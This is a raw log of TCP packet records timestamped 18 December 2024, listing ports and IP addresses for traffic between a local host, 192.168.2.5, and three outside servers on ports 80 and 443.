Dec 18, 2024 21:30:28.066211939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.066304922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.066345930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.067143917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.067188978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.067302942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.067343950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.068002939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.068048954 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.068130970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.068171978 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.069118977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.069159031 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.069281101 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.069315910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.070311069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.070352077 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.070538044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.070574999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.071464062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.071504116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.071567059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.071608067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.072402954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.072446108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.072596073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.072629929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.073262930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.073299885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.073369980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.073405027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.074223995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.074263096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.074563026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.074600935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.076669931 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:28.076742887 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:28.078182936 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:28.078217983 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:28.078469038 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:28.079799891 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:28.079826117 CET	49810	443	192.168.2.5	172.67.180.113
Dec 18, 2024 21:30:28.079859018 CET	443	49810	172.67.180.113	192.168.2.5
Dec 18, 2024 21:30:28.095685959 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.095720053 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.095767975 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.095801115 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.095824957 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.095845938 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.101960897 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.101990938 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.102029085 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.102058887 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.102078915 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.102099895 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.107485056 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.107512951 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.107559919 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.107589960 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.107611895 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.107630968 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.113651037 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.113677025 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.113727093 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.113756895 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.113778114 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.113801956 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.120198011 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.120225906 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.120265961 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.120296955 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.120316029 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.120333910 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.177460909 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.177500010 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.177546978 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.177591085 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.177613020 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.177632093 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.183679104 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.183757067 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.183773041 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.183806896 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.183829069 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.183846951 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.189856052 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.189924955 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.189943075 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.189975023 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.190001011 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.190017939 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.211019039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.211049080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.211085081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.211107969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.211420059 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.211462021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.211622953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.211662054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.212409973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.212480068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.212549925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.212589025 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.213427067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.213464022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.213831902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.213880062 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.213948011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.213984013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.214833975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.214879036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.215008020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.215044975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.215918064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.215967894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.216052055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.216099977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.217017889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.217067003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.217300892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.217346907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.218014002 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.218060017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.218179941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.218229055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.219119072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.219173908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.219340086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.219389915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.220130920 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.220195055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.220299006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.220350027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.221244097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.221297026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.221493006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.221544981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.222280979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.222335100 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.222429991 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.222479105 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.223345995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.223393917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.223483086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.223526955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.224381924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.224435091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.224526882 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.224575996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.225624084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.225673914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.225748062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.225791931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.226718903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.226764917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.226856947 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.226897955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.227627993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.227682114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.227754116 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.227807999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.228645086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.228693008 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.228801012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.228842020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.229896069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.229947090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.230041027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.230093956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.230783939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.230830908 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.231010914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.231050014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.231836081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.231880903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.231951952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.231992006 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.232887030 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.232929945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.233041048 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.233081102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.233917952 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.233963966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.234071970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.234110117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.235028982 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.235074043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.235153913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.235197067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.236064911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.236108065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.236188889 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.236227036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.237049103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.237093925 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.237209082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.237248898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.238147974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.238199949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.238286972 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.238325119 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.239232063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.239275932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.239389896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.239434004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.240268946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.240315914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.240485907 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.240533113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.241343975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.241389990 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.241563082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.241611958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.242368937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.242422104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.242583990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.242630005 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.243515968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.243562937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.243640900 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.243688107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.244574070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.244636059 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.244723082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.244764090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.245544910 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.245601892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.245690107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.245744944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.246742010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.246789932 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.246906042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.246951103 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.247657061 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.247705936 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.247826099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.247876883 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.248749018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.248790026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.248872042 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.248918056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.250397921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.250477076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.250562906 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.250601053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.250874996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.250921011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.251207113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.251255989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.251988888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.252033949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.252165079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.252208948 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.252929926 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.252989054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.253134012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.253182888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.254039049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.254086971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.254205942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.254251003 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.255080938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.255127907 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.255289078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.255328894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.256156921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.256206036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.256304026 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.256349087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.257251024 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.257301092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.257414103 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.257456064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.258270979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.258316994 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.258456945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.258502007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.259346962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.259392023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.259463072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.259504080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.260454893 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.260510921 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.260593891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.260639906 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.261415958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.261461020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.261576891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.261614084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.262445927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.262494087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.262635946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.262676954 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.263582945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.263636112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.263708115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.263752937 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.264652967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.264700890 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.265031099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.265079975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.265621901 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.265666962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.265753031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:28.265799046 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:28.282985926 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.283051014 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.288613081 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.288645983 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.288686991 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.288717031 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.288738012 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.288762093 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.294841051 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.294874907 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.294945955 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.294976950 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.295000076 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.295015097 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.300441980 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.300472021 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.300517082 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.300548077 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.300596952 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.300612926 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.306665897 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.306694031 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.306734085 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.306765079 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.306783915 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.306803942 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.312522888 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.312549114 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.312643051 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.312674999 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.312719107 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.370858908 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.370889902 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:28.371011972 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:28.371043921 CET	443	49809	185.199.111.133	192.168.2.5
